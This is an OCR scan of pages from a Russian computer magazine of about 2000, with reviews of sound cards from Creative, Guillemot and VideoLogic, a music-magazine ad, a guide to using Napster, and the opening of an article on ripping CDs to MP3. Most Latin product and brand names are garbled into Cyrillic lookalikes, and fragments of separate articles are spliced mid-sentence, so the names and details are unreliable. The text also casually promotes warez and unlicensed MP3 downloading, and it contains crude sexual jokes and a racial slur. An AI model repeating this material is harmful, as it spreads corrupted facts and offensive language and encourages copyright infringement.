троена на том же чипе, что и обычная лива - 
ЕМІИ0К1. ЕМУ - это уже, практически, стан- 
дартный проц для Креатива (ЭЗР). Что это дает 
и кому дает? Гамеру дает Юігесі ЗоипсІ и Эігесі 
зоипсІ Зй, т.е. выступает в роли звукового аксе- 
ля. Теперь поддерживается железное обеспе- 
чение 64 потоков вместо 32 прежних. 

Казалось бы, чем таким особенным Креатив 
собирается захватить покупателя, ведь чип ос- 
тался прежним? Нужна фишка! И эта фишка 
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была найдена в виде кульного девайса для сло- 
та 5,25 твоего системного ящика. Вот уж, воис- 
тину, рулез! И глазу приятно, и главное - фун- 
кционально. А то бывает напряжно лазать за 
системный блок, чтобы подключить уши или 
акустику. Хотя многим придется по вкусу эта 
фишка именно из-за дизайнерского исполне- 
ния. У меня был один знакомый черт, который 
купил себе эквалайзер, вставляемый в перед- 
нюю панель, исключительно чтобы оживить 
системный блок гирляндами и вереницами ог- 
ней :). Это его дело, а наше с тобой общее - по- 
добрать качественный девайс. Так что посмот- 
рим, чего там распихали по новой панельке. 
Тут и вход, и выход, микрофон и наушники, и 
естественно, МИДИ. Если тот, кто пишет музы- 
ку, может позволить уделить некоторое время 
на переключение колонок или ушей, то гамеру 
- это надо сделать моментально! Вот тут-то и 
придется очень кстати удобная панель. 

А каких халявных дисков подкинул Платинум? 
Видим Зий Эезсепі, 4ая ИРЗ, ТЫеР ТІіе сіагк 
ргоіесі И все в полной версии!!! В виде демок 
прилагаются МуФ 2 Оеппо, АІіепз ѵз. Ргесіаіог - 
Магіпе бето, АІіепз ѵз. Ргебаіог - Ргебаіог 
бето. Конечно, демки хорошо, но полноценные 
версии - лучше ;). А вот с рабочим софтом не 
обидели: приложили классный софт - ІАѴА. 
Лавэ, конечно, ты не поимеешь с этого, а вот 
новую фичу получишь. ІАѴА - сокращение от 
І_іѵе Аибіо ѴізиаІ Апітайоп. В общем, анимация 
к звуку :). Бред? Очень может быть, а ты в дей- 
ствии посмотри! Если же тебя ломает разби- 
раться со всякими лавами, то тебе придется по 
вкусу чисто фрикерская прога - 8оипб Рогде. 
Для Сб - Сакеѵѵаік, МіхМап. Для любителей по- 
болтать голосом - надоедливая тормозная 
Мебіа Тоікіпд Віпд. 

Хотя всю эту софтовую помойку - ты можешь 
качнуть на любом варезном фтп или прикупить 
на МШпО-ВагаВ. Куда важнее - сердце платы. 
Сердце - Э8Р, т.е. процессор карты. В данном 
случае - это ЕМІІ10К1. Общая линейка этих 
камней называется Е-МІІ. Е-МІІ 8уз1етз. Ріа 
этом же чипе, как я уже писал, была построена 
первая І_іѵе!, что, в общем, не требует дополни- 
тельных комментариев. 

Ну что, установим карточку. Время пришло. 
Установка типична, разве что установка платы в 
слот пятидюймовки - не была типична. Коннект 
происходит по кабелю, типа ЮЕ (ЮЕ - интер- 
фейс большинства винтов и сидюков). Драйвы 
вполне подошли, конфликтов не было. Теперь 
посмотрим прилагаемый софт. Называется 
ШѵеѵѵагеЗ, вместо прежнего І_іѵеѵѵаге2. Измени- 
лось название. Изменилась ли сущность? По- 
жалуй, да, например, теперь ты можешь писать 
МРЗ с поддержкой Епѵігоптепіаі Аибіо. С этой 
фишкой новая плата, по сути, становится уни- 
кальной! Хотя подозреваю, что АигеаІ тоже ра- 
ботает в этом направлении ;). При установке 
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мне не понравилось лишь то, что прилагаемый 
диск с 1_іѵе ѴѴагеЗ не поддерживал автозапуска 
:(. На самом деле, это не так страшно, но при 
установке и настройке - несколько обламывает. 



Виі Петой Махі ЗоипсІ 
РогСіззіпгю 



Пару лет назад ты бы выбрал какую карточку? 
Креатив или Ауреал? Во! Точно. Небось, про 
другие и не слышал или не был готов отдать 3 
сотни грина за крутой девайс. Причиной тому 
можно назвать то, что Креатив и Ауреал обла- 
дали наилучшим соотношением цена/качество. 
Однако в последнее время идеи альтернативы 
звукового чипсета - стали реализовываться. 
Хотя бы взять чипы от Е38, РМІірз, Уатаііа. Яр- 
кий тому пример - переход 83 фіатопб) на чип 
от Е38 (Сапуоп 30) при производстве 400-го 
Монстра. В общем, намечается отклонение от 




стоит менее 50$! При том что качество на уров- 
не. К качественному железу нужен и качествен- 
ный софт, поэтому давай изучим прилагаемые 
диски. Есть профессиональный эксклюзивный 
софт от Ямахи: Мебіа 8іаІіоп и ХС 8іибіо. Это 
плееры, микшеры, декодеры, граберы. В об- 
щем, вареза - катафалк и маленькая тележка :). 
Для Об - прилагается прога Асіб Об. Я в нее 
особенно не врубался, но если бы писал компу- 
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курса, заданного Ауреал и Креатив. Милые бра- 
нятся - юзер только тешится ;). Т.е. нам-то на 
руку их возня, ведущая к всеобщему пониже- 
нию цен. Правда, надо не забывать про страс- 
ть брэндов к разработке собственных несов- 
местимых стандартов звука... Ну да ладно, мы 
сейчас не об этом. 

Данная карта является последним детищем (на 
момент написания материала) Гульмо и про- 
должает линейку Махі 8оипб. Махі 8оипб 
Роіііззіто основан на чипе Ямахи - УМР744. 
Фортисимо - очень похож на Ноопіесіп Оідііаі 
ХС, это значит, что ты получишь все прелести 
Эепзаига, как и в 400-ом Монстре от 83, только 
за меньшие деньги. Приятно и то, что данная 
карточка имеет цифровые выходы (оптика). 
Например, для подключения минидиска или 
проигрывателя “Романтика”, полученного в 
наследство :). 

Поддерживается ЕАХ, АЗЭ1.0, ЭігесіЗоипб и 
8епзаига. 

Вспоминая о Ямахе, ты припоминаешь синте- 
заторы за штуку баксов? Я тоже, но этот девайс 




терный музон - оказалась бы кстати. Начинаю- 
щим диджеям рекомендуют писать свои 
сэмплы. Это в идеале. А в реале практически 
все работники компутерного винила приме- 
няют готовые сэмплы. На прилагаемых дисках 
этих сэмплов аж 652 штуки. Как обычно, не за- 
были про чудную фрикерскую прогу 8оипб 
Рогде. 

О качестве звука трудно судить, но мне понра- 
вилось. Немаловажно то, что использован ко- 
дек от Сигмы - 8ідтаТеІ. Особенно хороши - 
МЮІ. Поддержка 676 инструментов с тучей раз- 
личных эффектов. Развитие технологии ЗЭ зву- 
ка позволило сделать звучание еще более реа- 
листичным, так ты можешь чувствовать звук 
вокруг себя, типа со всех сторон, как в душе 
Шарко :). Выбрав чип от Ямахи, Гульмо выбрал 
поддержку 8епзаига. А, как ты знаешь, 
8епзаига - это не АРІ, но поддерживающая 
ЭібесіЗоипб ЗЭ. Это значит, что проги, напи- 
санные под 0ігесі8оипб 30, смогут воспроиз- 
вести все прелести Сенсауры. Для тех, кто ма- 
ло информирован относительно Зепзаига, ска- 
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НЕОН- 
первый настоящий 
МУЗЫКАЛЬНЫЙ ЖУРНАЛ 

100% информации о музыке 
Эксклюзивные интервью и 
репортажи 

Обзор новых релизов российских и 
зарубежных компаний 
Топ-новости 
Хит-парад ГОРБУШКИ 




В февральском 
номере журнала: 

“Руки вверх” - Планета в мире 
танцевальной музыки 

Многоликая Шерилин 
Амега делает 
еще один шаг вверх 

Мадонна записала две новые 
песни для саундтрека “ІЧЕХТ 
ВЕЗТ ТН^С” 

Веет іпСегпаСіопаІ 
ОЗ РАІІІ. ѴАМ ОѴК 

Хали-гали, пара-трупер, 
Леприконсы -это супер! 

А также: 

А.Иванов, ШУРА, Мумий 
Тролль, бгееп бгеу, Гости из 
будущего, Авария, Отпетые 
мошенники, Шао? Бао!, 
ѴепдаЬоуз, ВасІ Ваіапсе, ЗавМ, 
йи ІѴАІХЮѴ, Валерия, Пеп-Си, 

М. Насыров, Земфира, 
Д.Маликов. 






НЕОН 



жу, что, помимо всего прочего, здесь реализо- 
вана технология МасгоРХ и МиШсІгіѵе техноло- 
гия (не бери в голову, фигня все это :)). Эта 
технология позволяет передавать на тыловые 
колонки звук, практически идентичный тому, 
что и на передних, и наиболее глубоко регули- 
ровать баланс. Также, как обычно, обещают до- 
вести эффект присутствия до полного оргазма. 
Технологию обработки звука тыловых колонок 
Креатив поддержал только со 2-го прихода 
Шѵеѵѵаге. Только прочитав описание этой кар- 
ты, я расстроился: нет поддержки АЗЭ 2.0 :(. 
Но позже вспомнил про отсутствие АРІ. Ты то- 
же не расстраивайся, пивные фабрики от этого 
не закроются. Наоборот: пивовары меньше в 
Кваке будут зависать :). 

Чего же особенного в этой карте, где фишка? - 
спросишь ты. Есть фишка, правда, одна, но 
важная - цена. За 50 баксов получить нехилый 
образец, что очень неплохо. 

ѴісІеоІ_одіс Зопіс ѴогСех2 

ѴібеоІ_одіс - английский брэнд. Ставший из- 
вестным после вполне удачных графических 
карточек. Звуковые карты тоже были. Но в ос- 
новном на чужих чипсетах, например, на ЕЗЗ и 
АигеаІ. Благодаря чему ярко проявились лишь 
на Родине - в Англии, а в основном... остались 
не замеченными. Но вот с выпуском акустики 
постарались прилично: их Зігоссо (ширше - 
неправильно, ширее :)) имели вполне стабиль- 
ный спрос. Потому как появиться на рынке с 
наивным принципом “можно, я тоже?” - сегод- 
ня не проходит. И они нашли фишку. Хотя сей- 
час мы о другом, просто я этим хотел сказать, 
что Видео Лоджи к - не простая штучка. 

Зопіс основан на чипе от АигеаІ - Ѵоі1ех2 
ЗирегОиасІ, впрочем, как ХІеІ’з Зіогт Ріаііпит, 
ТеггаІес’зХІ_егаІе Рго и многие другие. ОіатопсІ 
и ТиіІІе Веасіі - лишь два потребителя продук- 
ции Ауреала. Просто они более известны. Хотя, 
учитывая разногласия ОіатопсІ с АигеаІ, можно 
утверждать, что ТВ - станет главным поглоти- 
телем звуковых чипсетов. И что это дает? Дает 
96 потоков. А есть ли разница с остальными 
картами того же чипсета? Ну, хотя бы то, что 
сигнал/шум сменился с 95 до 98 (как в класси- 
ческой ЗирегОиасІ). В общем, оптимизирован- 
ный Вортекс2. Оптимизация вполне ощутима, 
особенно при смене драйвера 2.25 на 2.40. 
Исчезли многие характерные проблемы. Все 
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ли? В скором будущем исчезнут, хотя давай не 
будет воспевать песни новоявленному 2040, а 
то программеры совсем зазнаются и начнут ла- 
жу гнать :). Хотя обновление таблицы волново- 
го синтеза - лишнее доказательство их потен- 
ции к усовершенствованию девайса (ну, с по- 
тенцией - это я зря :)). 

Сторонники оптики и коаксиала уже рвут друг 
друга на части, защищая свой стандарт :). Оч- 
ко коаксиалу. Выход Соника - на коаксиале. Те- 
бе нужна оптика, но хочется и эту карту? Тебе 
всего-навсего потребуется специальный пере- 
ходник-конвектор: оптика - коаксиал. Хотя от- 
давать 80$ ни за что ни про что... знаешь ли, не 
стоит, именно не стОит :). 

Залезаем в коробку с картой и видим аж 7 дис- 
ков! Эгакап, Негеііс II, ЗІаѵе 2его(7 уровней), 
РиШге Веаі 30 ѵі .3, МЮІ ОгсИезІгаІог 32, Аисііо 
Ѵіеѵѵ 32, РІаТІапсІ Воѵег, АигеаГз Ѵоііех РІауег, 
АЗй йетоз, ОігесіХ 5.0. В общем, немерено 
софта, особенно учитывая то, что все это бла- 
голепие представлено в полной версии. Как 
обычно, прилагается 2040-ой драйвер. И 2.05 
для N14. Насчет прилагаемых гамесов рас- 
пространяться не буду, т.к. об этом обо всем 
ты можешь прочесть в “Зоне геймера”, а я луч- 
ше поделюсь мыслями о прилагаемом рабочем 
софте. АигеаІ Ѵоііех РІауег - приятный во всех 
отношениях плеер. Приятный интерфейс, под- 
держка немереного количества звуковых стан- 
дартов. Также выполняет функцию Инетного 
радио. Если же ты привык юзать ѴѴіпатр, то я 
едва ли смогу убедить тебя в страшной надоб- 
ности встроенного эквалайзера, подкованного 
специально под Ѵоііех. Хотя дополнительных 
фишек обработки звука не было найдено:). А к 
тому же разработчики - неприкрытые защитни- 
ки несчастных найгеров: программеры не со- 
бираются реализовывать технологию скинов 
(Зкіпг), как, например, в ѴѴіпАтр :). 

Непонятно каким боком (раком), в комплект 
попал диск с прогой трехмерного НТМІ_. Вещь, 
прямо-таки скажем, не очень нужная. Хотя по- 
весить дополнительное украшение на свой NN 
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захотят многие ;). Название этой технологии - 
30МІ_. Производитель обещает сделать звуко- 
вую поддержку к 30 объектам, т.е. погрузить 
нас в абсолютную виртуальность. Вообще, нас 
и здесь хорошо кормят, поэтому давай -ка про- 
должим изучение прилагаемого музыкального 
софта. Например, прога АисІіоѴіеѵѵ 32, ожив- 
ляющая звук путем вынесения красочных гра- 




фиков. В основном это потребно при обработ- 
ке звука невысокого качества. К примеру, при 
взломе телефонии, когда надо оценить пара- 
метры телефонной линии. Или записывая МРЗ с 
винила. Если ты предпочитаешь МЮІ МРЗ, то 
тебе понравится звуковой комплекс МЮІ огсіпез- 
Мог32. С помощью которого ты можешь вос- 
станавливать битые МИДИ - файлы. Ты можешь 
профиксить присутствующие баги. Организо- 
вать миксы, оборудовать удобный музыкальный 
архив. Ты считаешь, что миди свое отжила? Тог- 
да точно воспользуешься программой РиШге 
Веаі 30. Что позволит придать объем звуку да- 
же на галимой карте. А для работы с обычным 
звуком прилагается ѴѴаѵе есіііог. Обычный звуко- 
вой редактор, похожий на стандартный виндоз- 
ный, но имеющий ряд дополнительных фишек. 
Дисков до задницы, а зачем они нужны, если 
карта еще не установлена? Что же, пропатчим 
нашу ошибку: приступим к установке карты и 
инсталляции драйверов. Как водится, саму кар- 
ту без проблем поместили в пустой слот РСІ. Не 
удивило и то, что мастдай не обнаружил эту кар- 
ту, как Зопіс Ѵоі1ех2, и поставил стандартные 
драйвы. Поэтому в работу пошел прилагаемый 
Ехіга СО. После установки в трэе появилась 
иконка и повыскакивали надоедливые окошки 
хэлпа. На настройку много времени не ушло: все 
удобно. В общем, пять минут потратил и не за- 
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метил особых напрягов. После инсталла я под- 
ключил акустику (потратил 2 часа: никак не мог 
штырек засадить :)). Для работы с четырьмя ко- 
лонками - Уатаііа УЗТ М2(Ю5Р, а для работы с 
двумя - родные, производства Ѵісіео І_одіс, 
Зігоссо. Стоит также сказать, что карта прогоня- 
лась на эксклюзивном 2035-ом драйвере, выпу- 
щенном самим Видео Лоджиком, и на 2040 от 
Ауреала. Именно в 2040 драйве предусмотрена 
конфигурация под конкретные условие: 2 или 4 
динамика или режим работы с наушниками. Де- 
лается это все через специальную менюшку, 
появившуюся после установки прилагаемого 
софта. Правда, программеры предупреждают, 
что эта феня будет работать только из-под 98 
виндов (95 отдыхают ;). Есть фирменное меню 
ЗопісМах, из которого ты настроишь АЗО и 
Оігесі зоипсі. Немаловажна и возможность нас- 
тройки звука под ДОСовские игры. Если же Ви- 
део Лоджик или Ауреал выпустят обновления, ты 
будешь в курсе, просмотрев специальный лог 
или настроив автоматический апдейт софта. Эх, 
они бы лучше железо хал явно апдейтили ;). 

А за что мы с тобой собираемся отдавать свои 
вечнозеленые? Думаю, что не только за прослу- 
шивание музона и аськиного “ку-ку”. Мы с тобой 
частенько делаем апгрейд, чтобы как следует 
погамиться. Вот где ключ! Поэтому сейчас мы 
почувствуем эту карту в гамесах. Про то, что на 
старых картах звук был не реалистичен, я уже 
писал. Но что сейчас нам может предложить 
производитель? С такими вещами, как 03, АЗО 
1 .х, АЗО 2.0. Все как обычно: все положитель- 
ные (увы, и отрицательные) свойства 2-го Вор- 
теха. Карта прогонялась на большинстве наи- 
более популярных гамесов: от Десцента до 
Кваки. Работало всё нормально. Разве что под 
НТ не было полноценной поддержки АЗО с 
драйвами моложе 2020. 03, поддерживаемый 
большинством современных карт, на данной 
звуковухе реализован удачно, несмотря на 
многочисленные жалобы относительно отстой- 
ного звука в Старкрафте. 0330 на высоте, но я 
бы настоятельно советовал поставить драйв 
никак не меньше 2035, что было лишний раз 
подтверждено тестом 7В Аисііо ѴѴіпЬепсІі. 0330 
полноценно поддерживается в Моіогііеасі, 
ЗІіодо и ТМеТ (после патча 1.33 версии). Мно- 
гие отмечают, что Вор - падает после работы 
на 0330. Увы, такая ситуация остается рас- 
пространенной, и я могу лишь посоветовать 
почаще обновлять драйверы карты и патчи 
производителя гамеса. Н 
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наешь, иногда я чувствую себя 
экстрасексом :). И вот сейчас я от- 
четливо вижу, что ты решил порадо- 
вать девочку свежей песенкой группы 
“Отбитые мошонки”. Естественно, 
скачав МРЗ: на фига по морозу на горбушку тащиться 
или записывать с радио? И вот ты принялся лазать по 
Инету в поисках музона. Перерыл столько, прям бурлак 
Инета :). Но шрЗ-поисковики последнее время отстой- 
но пашут: постоянно не работают, то потухнут, то по- 
гаснут, но в любом случае выдают длинные неудобочи- 
таемые списки линков, из которых две трети - мер- 
твые. А оставшаяся треть состоит из сайтов со всяким 
отстоем, типа “кликни на правый баннер, потом на ле- 
вый, потом пива принеси” :). И что? Счастье где? 
Счастье есть - оно не может не есть, как повторил за 
кем-то Фома. Мы хотим слушать музыку и мы будем 
ее слушать! 

Для нас, поклонников позитивной музыки, придумали 
формат трЗ. Чтобы мы могли в краткие сроки слить 
себе любой музон, не покупая ничего на толчке. Тех, 
кто никогда про МРЗ не слышал, я бы послал на... чи- 
тать статью “Грабь неграбленое” в этом же номере. 





А у остальных, кто уже прочувствовал всю прелесть 
этой штуковины, появились траблы: найти в Мнете 
нужную песню нужной группы и скачать ее не так уж 
просто :(. Особенно учитывая постоянные гонения 
МРЗ со стороны звукозаписывающих компаний. Как 
уже говорил, поисковиков много, сайтов много. А 
толку? Маловато будет! 

Но есть еще светлые головы и не заплесневевшие моз- 
ги! Есть! Нашелся крутой перец, который долго сидел 
и думал про проблемы трЗ, скачивания, сайтов, Йр. А 
в это время у него аська издавала свои “куку”. Вот тут- 
то он и родил. Мысль. 



ѴѴеІсоте, ЫарзСег! О 



Представь себе программу типа аськи - только не для 
обмена мессагами. А для обмена МРЗ файлами. Пред- 
ставь себе, что ты, законнектившись на сервак этой 
проги, увидел всех юзверей данного сервиса. И что ты 
можешь устроить поиск по их файловым базам и пон- 
равившиеся файло скинуть. И, конечно, ты можешь вы- 
ложить собственные файлики для всеобщего доступа. 
А теперь прикинь, что это, блин, МРЗ! Тысячи людей 
и гигазы МРЗ? Прикинул? Передничек обслюнявил? 
Так вот, есть такая прога! Это ТАКАЯ прога... Господи, 
я уже раза 4 кончил, пока ее юзал. :) 



□но самое 



Скромная такая прога, с небольшим сайтом ш/ѵѵ. пар- 
зіег.сот. Скачиваешь, устанавливаешь. Вводишь 
свои регистрационные данные - достаточно просто уни- 
кального ника, типа -=[МРЗ-$ирег-$еагсНег]=-. 
Коннектишься на выделенный сервак. И, как я уже рас- 
сказал, получаешь возможность поискать и скачать 
файлики из МРЗ-сборников всех людей, которые на 
этот сервак вместе с тобой законнектились. А это 
обычно в вечернее время, порядка 1000 гигабайт музо- 
на. Тысяча гигабайт, я сказал. Террабайт, блин. Ты по- 
нял, ты прочувствовал эту могучую цифирь?! Понрави- 
лось? Теперь читай внимательнее. 

Поясню еще раз, для непонятливых. Это специальный 
клиент со своими специальными серваками. Это не 
Йр, как ты подумал - это специальный новый прото- 
кол. Скачивать трЗ ты будешь непосредственно с 
винтов юзеров, у которых в данный момент запущен 
такой же клиент. 

Итак, осознал? Скачивай программу, регистрируйся, 
запускай. Законнектившись, ты видишь окно, похожее 



на чатское. Это, в общем-то, и есть чат. В этой проге, 
помимо всего остального, реализован приватный чат и 
каналы, наподобие ІВСшных - чтобы можно было с дру- 
гими искателями договариваться. 

Командная строка понимает следующее: 



/ѵѵііоіз <юзер> - посмотреть инфу про юзера 
/сіз - очистить экран 

ДеІІ <юзер> <мессага> - написать приватную мессагу 
/ріпд <юзер> - проверить скорость связи 



Кнопочка сГіаІ гоотз показывает список имеющихся 
каналов. Каналы тематические, по названиям музы- 
кальных стилей. В окне списка можно сказать ]оіп и 
зайти на нужный канал. Кстати, не забудь открыть 
свой канал поклонников Ларисы Черниковой :). 

Тут же показывается количество файлов в твоей кол- 
лекции, количество юзеров на серваке и общий 
объем шрЗ-файлов в их коллекциях. Обычно цифры 
впечатляющие :). 

Кнопочки вверху переключают окна программы - кроме 
чата с командной строкой, есть еще 4 окна. 



ЫЬгагу: Как пройти в 
библиотеку? 



Здесь ты увидишь перечень тех трЗ, которыми ты де- 
лишься с другими. Ты можешь, конечно, вообще не де- 
литься ничем. Правда, хитрый Ыарзіег по умолчанию 
добавляет к общей базе твоих файлов тот каталог, ку- 
да ты себе файлы скачиваешь. Здесь же находится 
встроенный в программу проигрыватель трЗ. Это, ко- 
нечно, еще не ѴѴіпатр или $опщ, но уже кое-что. Хо- 
тя есть такая маза, что ты можешь подключить свой 
любимый МРЗ плеер. 
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ЗеагсИ: Кто ищет, 
тот всегда 

Поиск - вот тут-то ты и 
развернешься... 



Вводи нужные слова в поля “агіізі”, “$опд МІе”, и 
вперед! По опыту знаю - большинство композиций 
шрЗ-теги (вшитая инфа об исполнителе, песне, аль- 
боме, еіс) не прописывает, так что проще всего ис- 
кать вводя и название команды/исполнителя, и клю- 
чевые слова из названий песен в строке ввода 
“агіізГ через пробел. 

Нажав кнопку “РіпсІ II!”, ты отсылаешь запрос серве- 
ру, с которым ты на связи. Сервер ищет подходящие 
файлы в своей базе, в списке песен всех пользовате- 
лей и выдает варианты. Есть еще такая фишка: можно 
сразу задать ріпд всех юзеров, чтобы знать, с кем у те- 
бя связь лучше. Даже если у кого-то в Ііпе зреесі ука- 




зано ТЗ (значит оч. быстрый) - может быть, он от тебя 
слишком далеко, а может просто наврал или не тот кон- 
некшн указал, ламер. 

Что крайне удобно - при поиске можно задавать ограни- 
чители. Максимальное количество результатов поиска и 
ограничения по Ьіігаіе, частоте, пингу и скорости кон- 
некта юзера. Причем все эти настройки ты с легкостью 
подгонишь под твои личные эксклюзивные нужды :). 
Выбрав нужный файл, сливаешь его двойным щелчком 
(если не получится - вышлю инструкцию по новой, пока 
что труднодоступной высокоинтеллектуальной техноло- 
гии - ОоиЫе с-ИСК :)). 



НоС І_ізС: Список 
горячих парней 



Прикинь: натыкаешься на одного и того же юзера, да к 
тому же с хорошим коннектом, у которого всегда качес- 
твенный свежий музон. Тогда ты заносишь его в ііоі Іізі 




и затем получаешь подробную инфу о его музыкаль- 
ном архе. Раз уж интересующая тебя команда у него 
наличествует в виде целых альбомов, то велика ве- 
роятность того, что ты наткнешься на другие группы 
того же стиля у него в коллекции. В этом разделе так- 
же видно, подсоединен ли этот юзер к серваку. 

Я однажды наткнулся на человека, который держал у 
себя около 10000 трЗ-файлов на винте. Все это ба- 
рахло занимало у него гигов сорок. Настоящий 
маньяк! Я замучался ждать, пока загрузится только 
лишь список его трЗ :). 



ТгапзГег: КАЧАТЬ! О 



Ну, тут все проще жареного банана. Очередь из скачи- 
ваемых файликов, скорость, процент скачки. Можно 
приостановить скачивание, возобновить его или уда- 
лить файл из очереди. Ну вот, все не так уж и сложно 
- ищи да качай. Кстати, из удобных фишек я нашел од- 
ну, которой раньше нигде не встречал. В меню 
НеІр/ЗепсІ іеесІЬаск можно написать пожелание или 
замечание автору прямо не выходя из программы. Пи- 
шешь текст, жмешь кнопку - и текст поехал. 



Тоіко сііуа ргосМпиСуЬ 
роігоѵасеіеі 



Дело в том, что официально программа-клиент сущес- 
твует только для ѴѴіп32. Многие же пользуются 
Упих’ом, и не всем нравится запускать виндовые про- 
ги из-под эмулятора ІѴЮ. Для юниксойдов один черт 
хакнул протокол парзіег и на основе полученных дан- 
ных написал своего клиента, консольного, для І_іпих и 
РгееВЗй. Наш человек. Снять униховых клиентов ты 
можешь на Шр://ѵ/ѵш.ді5.пеі/“ПІІе/. 

Кроме того, эти версии имеют еще одно гигантское 
преимущество. Ты можешь установить на дружествен- 
ном БгееВЗй серваке эту версию проги. Делается это 
удаленно, через іеіпеі или ззИ. Запустив качать файлы 
по выделенке на сервак, а не себе по модему. Ну а по- 



том уже как угодно - либо обычным Йр-клиентом тя- 
нуть их домой, либо с винтом прийти. Во втором слу- 
чае требуется ящик пива :). 



Рекомендации 



В связи с вышеописанным рекомендации следующие. 
Если ты ищешь отдельные песни - тут проблем нет. 
Нашел да скачал. А вот если ты решил заняться соби- 
ранием альбомов... 

1 . Во-первых, сразу найди дискографию нужного аль- 
бома и длительность каждой композиции. Удобнее 
всего сделать их список в файлике и помечать скачан- 
ные. Ведь не факт, что все песни альбома ты найдешь 
на одном серваке, поэтому, пройдясь по списку на 
этом сервере, переключайся на другой. Также, если 
группа более-менее популярная, да еще с большим 
числом альбомов, под одним и тем же названием, мо- 
жет быть и оригинальная песня с этого альбома, и од- 
ноименная с другого, и концертный вариант песни... 
Кроме того, в некоторых коллекциях могут быть прос- 
то недокачанные файлы. А поиск выводит, в числе 
прочей инфы, длительность трЗ - сверяй ее с эталон- 
ной. 

2. Законнектившись на сервак, перво-наперво поищи 
просто название группы. По количеству найденных пе- 
сен можно оценить, стоит ли искать нужные тебе кон- 
кретные песни. 

3. Найденные песни сразу начинай качать. 

У ВЗй-версии свои причуды: во-первых, она пока что 
частенько падает, если скачивается более одного фай- 
ла. Лучше не жадничать. А во-вторых, похоже, она 
умеет коннектиться только на небольшое число серве- 
ров, на которых все время мало народа. 

Пробуй общаться с другими. Кидайся мессагами, си- 
ди в каналах. Удобнее договориться с кем-нибудь, об- 
меняться координатами, а потом меняться файликами. 

Если программа не коннектится на сервер - пробуй 
снова и снова. Не пропадет твой скорбный труд :). А 
вообще, охота за мпэтришками - дело интересное. Ес- 
ли ты лазал в детстве по ББСкам в поисках самой пос- 
ледней игрушки, то тебе это покажется знакомым. Как 
и возникающая потребность делиться с другими. Вот 
сегодня у меня впервые скачали файл! 



ЕхіС 



В статье описываются следующие версии софта: 

Ыарзіег 2.0 Ьеіа 4 Ьиіісі 1318 | 

В$0 Марзіег СІіепі 0.7 Ьеіа і 






Р.З. Статья написана под музыку, скачанную при помощи ЫарзЬег’а! =)] 
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коло года назад, обзванивая компьютерные фирмы на предмет выяснения текущих цен на компьютеры, я периодичес- 
ки сталкивался с непонятным мне вопросом продавцов: “Сидюк грабящий нужен или всё равно?” Не имея на тот мо- 
мент никакого представления о формате МРЕ6 и смежных областях обширного человеческого знания, я на всякий слу- 
чай говорил, что нужен грабящий. Теперь не раскаиваюсь. 

Однажды мне таки пришлось столкнуться с необходимостью “грабления” и кодирования музыки на отдельно взятом 
компе. Произошло это по двум причинам: 

- надоело покупать компакты-сборники, где половина содержимого была откровенным отстоем, а сама покупка делалась из-за од- 
ной-единственной песни; 

- компакты, взятые у друзей на “послушать”, нужно было возвращать, а переписывание их на кассеты приводило к неизменной по- 
тере в качестве звучания.Вот и решил я заняться собиранием собственного музыкального архива, где файлы находятся в формате 
трЗ и слушать их можно в таком порядке, который удобен именно мне. 



Что такое МРЗ? 



Аббревиатура МРЕСІ расшифровывается как “Моѵіпд 
Рісіиге Ехреііз Огоир”. Форматы Аисііо МРЕС были 
специально разработаны для воспроизведения сжатого 
звука в реальном времени. Не вдаваясь в подробности 
перевода и технические нюансы, скажу, что это именно 
тот формат, который позволит любому желающему сох- 
ранить любимую музыку у себя на компьютере. Услов- 
но без потери качества или с незначительными потеря- 
ми, но места такая музыка будет занимать значительно 
меньше, чем оригинальные ѵѵаѵ-файлы на музыкальном 
компакт-диске. Потеря качества в данном случае озна- 
чает, что слушатель услышит только то, что, по мнению 
программы, он вообще способен услышать, а всё лиш- 
нее просто будет вырезано, после чего оставшееся бу- 
дет сжато АКА закодировано. По научному вышесказан- 
ное называется “психоакустическая модель возможнос- 
тей человеческого слуха”. 

В нашем случае мы говорим про формат трЗ (Мред 
Аисііо ЬауегЗ), рождённый в недрах суперсекретного 
немецкого института РгаипНо(ег-Ое$еІІ$сІіаГС ■ 
ІпзМиІ Іпіедгіегіе ЗсІіаІІипдеп, то есть ПтО-118 
для нужд компактного хранения цифрового аудио. 
Представление звука в таком виде ценно возможнос- 
тью бесконечного хранения и тиражирования без по- 
тери качества. 



Как получить 

самодельные МРЗ файлы? 



Необходимы несколько важных вещей: 

1 . Компьютер. 

На моём РІІ-350 никаких проблем с производством и 
проигрыванием трЗ нет и в помине, а вот на ком- 
пьютере 4860X4-133 уже пропадает желание зани- 
маться кодированием звука, хотя прослушивается 
всё вполне корректно. В качестве среднего примера: 
на процессоре РепІіит-166 соотношение время зву- 
чания/время кодирования достигает примерно 1/15. 
Т.е. можно 15 раз послушать данную композицию за 
то время, пока она кодируется в трЗ. Главный вы- 
вод: чем мощнее камень - тем лучше. Ничего нового 
не открыл, правда? 



2. Привод СР-ПОМ, поддерживающий возможность 
чтения звуковых дорожек в цифровом виде. 

Твой сидюк должен уметь находить секторы на компакт 
диске в режиме прямого доступа во время чтения, а не 
только проигрывания. Определить, поддерживает ли 
конкретный СО- РОМ всю эту околесицу, можно в раз- 
деле С0-0РІѴЕ8, находящемся по адресу 
ѵѵѵѵѵѵ.трЗ.сот, или методом научного тыка. 

Сидюк или грабит или нет. Но даже у умеющих грабить 
СО-приводов могут возникать ошибки синхронизации 
кадров, выражающиеся во всяких там щелчках, потрес- 
киваниях и прочих гадостях. Многие программы-граб- 
беры самостоятельно могут бороться с этой напастью, 
называемой, применительно исключительно к данному 
случаю, прикольным словом іійег, будучи выставлен- 
ными в режим чтения секторов диска с перекрытием 
(оѵегіарріпд). Программа будет искать возможность 
корректного позиционирования, пытаясь избежать на- 
рушения синхронизации кадров. Программа-граббер 
при этом вынуждена читать блоки данных с аудиоком- 
пакта не последовательно, а с некоторым, например то- 
бой отрегулированным перекрытием, уточняя место, 
куда именно попал привод. Эта процедура потребует 
дополнительного времени на считывание предыдущих 
секторов. Если одинаковых данных на стыке, где прои- 
зошла ошибка, программе найти не удалось, либо 
происходит новый запрос, либо выдается ошибка и в 
файл записываются неверные данные. 

Если дело всё равно плохо, тебе остаётся только запи- 
сывать ѵѵаѵ-ы, прогоняя музыку через звуковую карту, 
но тут уж дополнительных аналоговых искажений сигна- 
ла не избежать. При оцифровке через звуковую карту к 
полезному сигналу добавляются шумы звуковой карты, 
устройства воспроизведения, вносятся различные ис- 
кажения, поэтому подробно на этом способе останав- 
ливаться не имеет смысла. 

3. Программное обеспечение. 

Процесс считывания звука с АисІіоСО называется дгаЬ- 
Ьіпд, поэтому грабилки и называются грабилками. По 
